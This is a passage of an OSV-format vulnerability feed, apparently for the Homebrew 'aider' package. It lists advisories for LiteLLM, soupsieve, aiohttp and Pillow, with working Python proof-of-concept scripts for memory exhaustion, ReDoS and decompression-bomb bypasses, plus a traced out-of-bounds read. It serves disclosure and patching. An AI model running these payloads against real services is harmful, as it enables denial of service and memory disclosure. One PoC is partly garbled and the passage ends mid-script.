resolved.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49468","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-4xpc-pv4p-pm3w","CVE-2026-49468","PYSEC-2026-388"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.84.0","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authentication Bypass via Host Header Injection","details":"### Impact\n\nA Host-header parsing flaw in the LiteLLM proxy could, under specific conditions, allow unauthenticated access to protected management routes.\n\nThe auth layer derived the effective route from `request.url.path` in `litellm/proxy/auth/auth_utils.py::get_request_route()`, which Starlette reconstructs from the `Host` header. A crafted `Host` could therefore make the auth gate evaluate a different route from the one FastAPI dispatched.\n\n**Most deployments are not affected.** The bypass is blocked by any upstream layer that validates or normalizes `Host`, such as:\n\n- a CDN or WAF, such as Cloudflare\n- a reverse proxy with `server_name` allowlists\n- a host-based load balancer\n\n**LiteLLM Cloud customers are not affected.**\n\n### Patches\n\nFixed in **`1.84.0`**. Upgrade to `1.84.0` or later. No configuration change is required.\n\n### Workarounds\n\nIf upgrading is not immediately possible, place the proxy behind an upstream component that validates or normalizes the `Host` header before forwarding (a CDN/WAF, a reverse proxy with explicit `server_name` allowlists, or a cloud load balancer with host-based routing rules), or otherwise restrict network access to the proxy listener.\n\n### References\n\n- Patched release: [`v1.84.0`](https://github.com/BerriAI/litellm/releases/tag/v1.84.0)\n\n**Discovery Credit**: Le The Thang (KCSC) and Kim Ngoc Chung (One Mount Group)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-4xpc-pv4p-pm3w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49468"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-49468"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2491520"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.84.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-4xpc-pv4p-pm3w"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/litellm/PYSEC-2026-388.yaml"},{"type":"WEB","url":"https://pypi.org/project/litellm"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49468.json"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49476","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-2wc2-fm75-p42x","CVE-2026-49476","PYSEC-2026-3071"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve has Memory Exhaustion via Large Comma-Separated Selector Lists","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service.\n\nTo be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately.\n\nA **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106\n\nThe soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata.\n\nWhen a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser:\n\n1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106)\n2. Parses each segment into a full `Selector` object with all associated metadata (line ~925)\n3. Stores all parsed selectors in a `SelectorList` (line ~204)\n\n**Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph.\n\n**Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`.\n\n### Proof of Concept\n\n```python\nimport tracemalloc\nimport soupsieve as sv\n\ntracemalloc.start()\n\n# Build a 500 KB selector string: \"a,a,a,...,a\" (250,000 items)\ncount = 250_000\nselector = \",\".join(\"a\" for _ in range(count))\nprint(f\"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)\")\n\n# Compile the selector — this allocates ~244 MB\ncompiled = sv.compile(selector)\n\ncurrent, peak = tracemalloc.get_traced_memory()\ntracemalloc.stop()\n\nprint(f\"Compiled selector count: {len(compiled.selectors):,}\")\nprint(f\"Current memory: {current / 1024 / 1024:.1f} MB\")\nprint(f\"Peak memory: {peak / 1024 / 1024:.1f} MB\")\nprint(f\"Amplification ratio: {peak / len(selector):.0f}x\")\n\n# Expected output:\n# Selector string size: 499,999 bytes (488 KB)\n# Compiled selector count: 250,000\n# Current memory: ~244 MB\n# Peak memory: ~244 MB\n# Amplification ratio: ~488x\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause:\n\n- **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits\n- **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes\n- **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory\n\n| Parameter | Value |\n|---|---|\n| Input size | ~500 KB selector string |\n| Memory allocated | ~244 MB |\n| Amplification ratio | ~488× |\n| Per-object overhead | ~976 bytes per selector |\n| Authentication required | None |\n| User interaction required | None |\n\n**Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected.\n\n---\n### Credit\n\nDiscovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-49477","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-836r-79rf-4m37","CVE-2026-49477","PYSEC-2026-3072"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.8.4","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","details":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a >3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n sv.compile(well_formed)\nexcept Exception:\n pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n sv.compile(malformed) # WARNING: This will hang for >3 seconds\nexcept Exception:\n pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): >3.0s (may need to be killed)\n# Slowdown: >3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3) # 3-second timeout\n\ntry:\n sv.compile(malformed)\n print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n print(f\"Other error: {e}\")\nfinally:\n signal.alarm(0) # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | >3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-50269","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-m6qw-4cw2-hm4m","CVE-2026-50269","PYSEC-2026-2106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: CRLF injection in multipart headers","details":"### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54058","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-62p4-gmf7-7g93","BIT-pillow-2026-54058","CVE-2026-54058","PYSEC-2026-3493"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)","details":"## Summary\n\nWhen Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.\n\nThe **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,\n`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).\n\n\n## Complete Code Trace\n\n**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.\n\n```python\n# src/PIL/McIdasImagePlugin.py:41-70\ns = self.fp.read(256)\nif not _accept(s) or len(s) != 256: # _accept: prefix == b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\"\n raise SyntaxError(...)\nself.area_descriptor = w = [0, *struct.unpack(\"!64i\", s)] # w[1..64] = signed BE int32, ALL attacker-controlled\n\nif w[11] == 1:\n mode = rawmode = \"L\" # pixelsize 1, in _MAPMODES\nelif w[11] == 2:\n mode = rawmode = \"I;16B\" # pixelsize 2, in _MAPMODES\n...\nself._mode = mode\nself._size = w[10], w[9] # (xsize, ysize) <-- attacker\noffset = w[34] + w[15] # <-- attacker\nstride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)\nself.tile = [\n ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1))\n]\n```\n\n**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.\n\n```python\n# src/PIL/ImageFile.py:322-348\nif use_mmap: # use_mmap = self.filename and len(self.tile) == 1\n decoder_name, extents, offset, args = self.tile[0]\n if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) >= 3\n and args[0] == self.mode and args[0] in Image._MAPMODES):\n if offset < 0: # only lower-bound guard on offset\n raise ValueError(\"Tile offset cannot be negative\")\n with open(self.filename) as fp:\n self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)\n if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check\n raise OSError(\"buffer is not large enough\")\n self.im = Image.core.map_buffer(\n self.map, self.size, decoder_name, offset, args # args = (\"L\", stride, 1)\n )\n```\n\n**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`.\n\n```c\n/* src/map.c:65-140 */\nif (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\",\n &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))\n return NULL;\n...\nconst ModeID mode = findModeID(mode_name); /* \"L\" */\n\nif (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */\n if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;\n else if (isModeI16(mode)) stride = xsize * 2;\n else stride = xsize * 4;\n}\n\nif (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */\n PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL;\n}\nsize = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */\n\nif (offset > PY_SSIZE_T_MAX - size) { ... }\n...\nif (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */\n PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\");\n PyBuffer_Release(&view); return NULL;\n}\n\nim = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));\n/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */\n\n/* setup file pointers -- NO check that stride >= im->linesize */\nif (ystep > 0) {\n for (y = 0; y < ysize; y++) {\n im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */\n }\n} else { ... }\n```\n\n`im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two.\n\n**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.\n\n```c\n/* the raw \"L\" packer copies linesize (=xsize) bytes per row from im->image[y];\n for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */\n```\n\n## Chain Summary\n\n```\nSOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)\n ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]\n ↓ tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1)) [McIdasImagePlugin.py:68]\nGADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]\n ↓ core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1)) [ImageFile.py:346]\nSINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]\n ↓ Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im->image[0]\nIMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)\n```\n## Proof of Concept\n\nSee attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)\n\n\n## Impact on a Parent Application\n\nAny application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:\n\n- **Information disclosure (High):** the decoded \"image\" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.\n- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.\n\n## Suggested fix\nCore fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` .","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54058"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9719"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54059","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-8v84-f9pq-wr9x","BIT-pillow-2026-54059","CVE-2026-54059","PYSEC-2026-2253"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading","details":"## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left (max: 65535 − 0 = 65535)\nysize = ascent + descent (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**\n```python\nfor i in range(nbitmaps):\n xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled\n b, e = offsets[i : i + 2]\n bitmaps.append(\n Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n # ↑ NO _decompression_bomb_check()!\n )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC = 0x70636601\nPCF_PROPS = 1 << 0\nPCF_METRICS = 1 << 2\nPCF_BITMAPS = 1 << 3\nPCF_ENCODINGS= 1 << 5\n\ndef build_bomb_pcf(xsize, ysize):\n # Properties: empty\n props = struct.pack(\" None:\n if self.bitmap:\n return\n\n h = w = maxwidth = 0\n lines = 1\n for glyph in self.glyph: # up to 256 glyph slots\n if glyph:\n d, dst, src, im = glyph\n h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled\n w = w + (src[2] - src[0])\n if w > WIDTH: # WIDTH = 800\n lines += 1\n w = src[2] - src[0]\n maxwidth = max(maxwidth, w)\n\n xsize = maxwidth # ≤ 800 (capped by WIDTH constant)\n ysize = lines * h # ← lines(256) × h(65535) = 16,776,960\n\n if xsize == 0 and ysize == 0:\n return\n\n self.ysize = h\n # NO _decompression_bomb_check() here ←\n self.bitmap = Image.new(\"1\", (xsize, ysize)) # ← unchecked allocation\n```\n\n**\"Slow accumulation\" attack — per-glyph dimensions stay BELOW warning threshold:**\n\n| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) |\n|---|---|---|\n| Pixel count | 700,000 | **179,200,000** |\n| DecompressionBombWarning threshold (89.4M) | 0.008× — **no warning** | 2.0× — above warning |\n| DecompressionBombError threshold (178.9M) | 0.004× — **no error** | **1.001× — above error** |\n\nWith PCF-maximum glyph height (65,535):\n\n| Metric | Value |\n|---|---|\n| lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) |\n| h (max glyph height) | 65,535 |\n| xsize | 800 |\n| ysize = lines × h | 256 × 65,535 = **16,776,960** |\n| **Total pixels** | 800 × 16,776,960 = **13,421,568,000** |\n| **Ratio vs. DecompressionBombError threshold** | **75×** |\n| Memory (mode \"1\", 1 bit/pixel) | **~1.6 GB** |\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: FontFile.compile() bomb bypass\n256 glyphs at 800x875 each (individually below warning threshold)\n→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check\n\"\"\"\nfrom PIL import FontFile, Image\n\nMAX_GLYPHS = 256\nGLYPH_W = 800\nGLYPH_H = 875 # individual: 700K px — below 89.4M warning 